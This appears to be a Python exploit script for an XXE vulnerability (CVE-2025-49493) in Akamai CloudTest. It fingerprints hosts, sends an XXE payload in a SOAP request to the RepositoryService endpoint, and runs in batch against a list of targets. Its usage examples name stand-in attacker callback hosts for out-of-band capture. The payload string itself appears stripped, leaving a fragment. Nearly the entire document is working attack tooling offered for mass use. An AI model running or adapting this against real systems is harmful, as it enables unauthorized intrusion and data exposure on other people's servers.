#!/usr/bin/env python3 """ Akamai CloudTest XXE Exploit (CVE-2025-49493) Title: Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE) Date: 01/2025 CVE: CVE-2025-49493 Author: xbow,3th1c_yuk1 Vendor Homepage: https://www.akamai.com/ Version: CloudTest before 60 2025.06.02 (12988) Tested on: Akamai CloudTest environments """ import requests import urllib3 import sys import argparse from datetime import datetime from typing import List from colored import stylize, fg import pyfiglet # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Logger: """Enhanced logging utility with colored output""" @staticmethod def format_timestamp() -> str: """Format current timestamp for logging""" return f"[{datetime.now().strftime('%Y-%m-%d-%H:%M:%S')}]" @staticmethod def info(message: str, host: str = "") -> None: """Log info message""" host_info = f" [{host}]" if host else "" print(stylize(Logger.format_timestamp(), fg('#ffe900')) + stylize(f" [INFO]{host_info} {message}", fg('blue'))) @staticmethod def error(message: str, host: str = "") -> None: """Log error message""" host_info = f" [{host}]" if host else "" print(stylize(Logger.format_timestamp(), fg('#ffe900')) + stylize(f" [ERROR]{host_info} {message}", fg('red'))) @staticmethod def success(message: str, host: str = "") -> None: """Log success message""" host_info = f" [{host}]" if host else "" print(stylize(Logger.format_timestamp(), fg('#ffe900')) + stylize(f" [SUCCESS]{host_info} {message}", fg('green'))) @staticmethod def warning(message: str, host: str = "") -> None: """Log warning message""" host_info = f" [{host}]" if host else "" print(stylize(Logger.format_timestamp(), fg('#ffe900')) + stylize(f" [WARNING]{host_info} {message}", fg('yellow'))) class AkamaiCloudTestExploit: """Akamai CloudTest XXE Exploit (CVE-2025-49493)""" def __init__(self, target: str, timeout: int = 10): self.target = self._validate_url(target) self.timeout = timeout self.session = requests.Session() self.session.verify = False self.cve_id = "CVE-2025-49493" self.exploit_path = "/concerto/services/RepositoryService" self.cloudtest_indicators = [ 'Akamai CloudTest', 'concerto', 'CloudTest', 'akamai' ] def _validate_url(self, url: str) -> str: """Validate and format URL""" if not url.startswith(('http://', 'https://')): url = 'http://' + url return url.rstrip('/') def get_default_headers(self) -> dict: """Get default headers for requests""" return { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', } def check_vulnerability(self) -> bool: """Check if target is vulnerable to CVE-2025-49493""" try: headers = self.get_default_headers() # Check if Akamai CloudTest is present response = self.session.get(self.target, headers=headers, timeout=self.timeout) # Check for CloudTest indicators in response cloudtest_found = False for indicator in self.cloudtest_indicators: if indicator.lower() in response.text.lower() or indicator.lower() in str(response.headers).lower(): cloudtest_found = True Logger.info(f"CloudTest indicator found: {indicator}", self.target) break if not cloudtest_found: Logger.warning("No CloudTest indicators found, target might not be Akamai CloudTest", self.target) return False # Check if SOAP service endpoint exists service_url = f"{self.target}{self.exploit_path}" test_response = self.session.get(service_url, headers=headers, timeout=self.timeout) if test_response.status_code == 404: Logger.error("SOAP service endpoint not found", self.target) return False if test_response.status_code in [200, 405, 500]: # SOAP services often return these codes Logger.success("SOAP service endpoint accessible", self.target) return True return False except requests.exceptions.RequestException as e: Logger.error(f"Request failed: {str(e)}", self.target) return False except Exception as e: Logger.error(f"Unexpected error: {str(e)}", self.target) return False def exploit(self, xxe_server: str) -> bool: """Execute XXE exploit""" if not xxe_server: Logger.error("XXE server not provided", self.target) return False try: headers = self.get_default_headers() headers['Content-Type'] = 'text/html' headers['SOAPAction'] = '' # Create XXE payload based on the nuclei template xxe_payload = f""" ]> &xxe; """ service_url = f"{self.target}{self.exploit_path}" Logger.info(f"Attempting XXE exploit to: {xxe_server}", self.target) Logger.info("Sending malicious SOAP request with XXE payload", self.target) response = self.session.post( service_url, data=xxe_payload, headers=headers, timeout=self.timeout ) # Check for successful exploitation indicators based on nuclei template success_indicators = [ 'dns' in response.text.lower(), 'text/xml' in response.headers.get('content-type', '').lower(), 'XML stream' in response.text, response.status_code in [200, 500] ] if any(success_indicators): Logger.success("XXE exploit payload sent successfully", self.target) Logger.info("Check your XXE server for incoming DNS/HTTP requests", self.target) # Additional checks for error messages if any(error in response.text.lower() for error in ['xml', 'dtd', 'entity', 'external']): Logger.success("XML processing detected - possible successful XXE exploitation", self.target) return True else: Logger.error(f"XXE exploit failed (HTTP {response.status_code})", self.target) Logger.warning(f"Response body: {response.text[:200]}...", self.target) return False except requests.exceptions.RequestException as e: Logger.error(f"XXE exploit failed: {str(e)}", self.target) return False except Exception as e: Logger.error(f"Unexpected error during XXE exploit: {str(e)}", self.target) return False def generate_banner() -> str: """Generate banner with CVE information""" try: title = pyfiglet.figlet_format("AKAMAI XXE", font="slant") info_lines = [ "🎯 CVE-2025-49493 | Akamai CloudTest XXE", "", "🔓 XML External Entity (XXE) Injection", "💀 Test First, Analyze After 💀", "", "Author: xbow,3th1c_yuk1" ] title_lines = title.split('\n') max_width = max(len(line) for line in title_lines + info_lines) border_width = max_width + 4 banner_lines = [] banner_lines.append("╔" + "═" * border_width + "╗") banner_lines.append("║" + " " * border_width + "║") for line in title_lines: if line.strip(): padding = (border_width - len(line)) // 2 banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║") banner_lines.append("║" + " " * border_width + "║") for line in info_lines: padding = (border_width - len(line)) // 2 banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║") banner_lines.append("║" + " " * border_width + "║") banner_lines.append("╚" + "═" * border_width + "╝") return "\n" + "\n".join(banner_lines) + "\n" except ImportError: return """ ╔═══════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ AKAMAI XXE ║ ║ ║ ║ 🎯 CVE-2025-49493 | Akamai CloudTest XXE ║ ║ ║ ║ 🔓 XML External Entity (XXE) Injection ║ ║ 💀 Test First, Analyze After 💀 ║ ║ ║ ║ Author: xbow,3th1c_yuk1 ║ ║ ║ ╚═══════════════════════════════════════════════════════════════════════════════════╝ """ def load_targets_from_file(file_path: str) -> List[str]: """Load targets from file""" try: with open(file_path, 'r') as file: targets = [line.strip() for line in file if line.strip()] Logger.info(f"Loaded {len(targets)} targets from {file_path}") return targets except FileNotFoundError: Logger.error(f"Target file not found: {file_path}") return [] except Exception as e: Logger.error(f"Error loading targets: {str(e)}") return [] def main(): """Main function""" print(stylize(generate_banner(), fg('red'))) parser = argparse.ArgumentParser( description="Akamai CloudTest XXE Exploit (CVE-2025-49493)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python akamai_xxe.py targets.txt xxe.attacker.com python akamai_xxe.py targets.txt collaborator.burp.com --timeout 20 python akamai_xxe.py targets.txt attacker.interactsh.com """ ) parser.add_argument('targets', help='Target file containing list of Akamai CloudTest hosts') parser.add_argument('xxe_server', help='XXE server to capture requests (e.g., attacker.com or IP)') parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)') if len(sys.argv) < 3: parser.print_help() sys.exit(1) args = parser.parse_args() # Load targets from file targets = load_targets_from_file(args.targets) if not targets: Logger.error("No targets to process") sys.exit(1) # Run exploit Logger.info(f"Starting Akamai CloudTest XXE exploit against {len(targets)} targets") Logger.info(f"XXE Server: {args.xxe_server}") Logger.warning("Ensure your XXE server is ready to capture DNS/HTTP requests!") successful_exploits = 0 for target in targets: exploit = AkamaiCloudTestExploit(target, timeout=args.timeout) if exploit.check_vulnerability(): if exploit.exploit(args.xxe_server): successful_exploits += 1 Logger.info(f"Exploit execution completed - {successful_exploits}/{len(targets)} successful") Logger.info("Check your XXE server logs for captured requests") if __name__ == "__main__": main()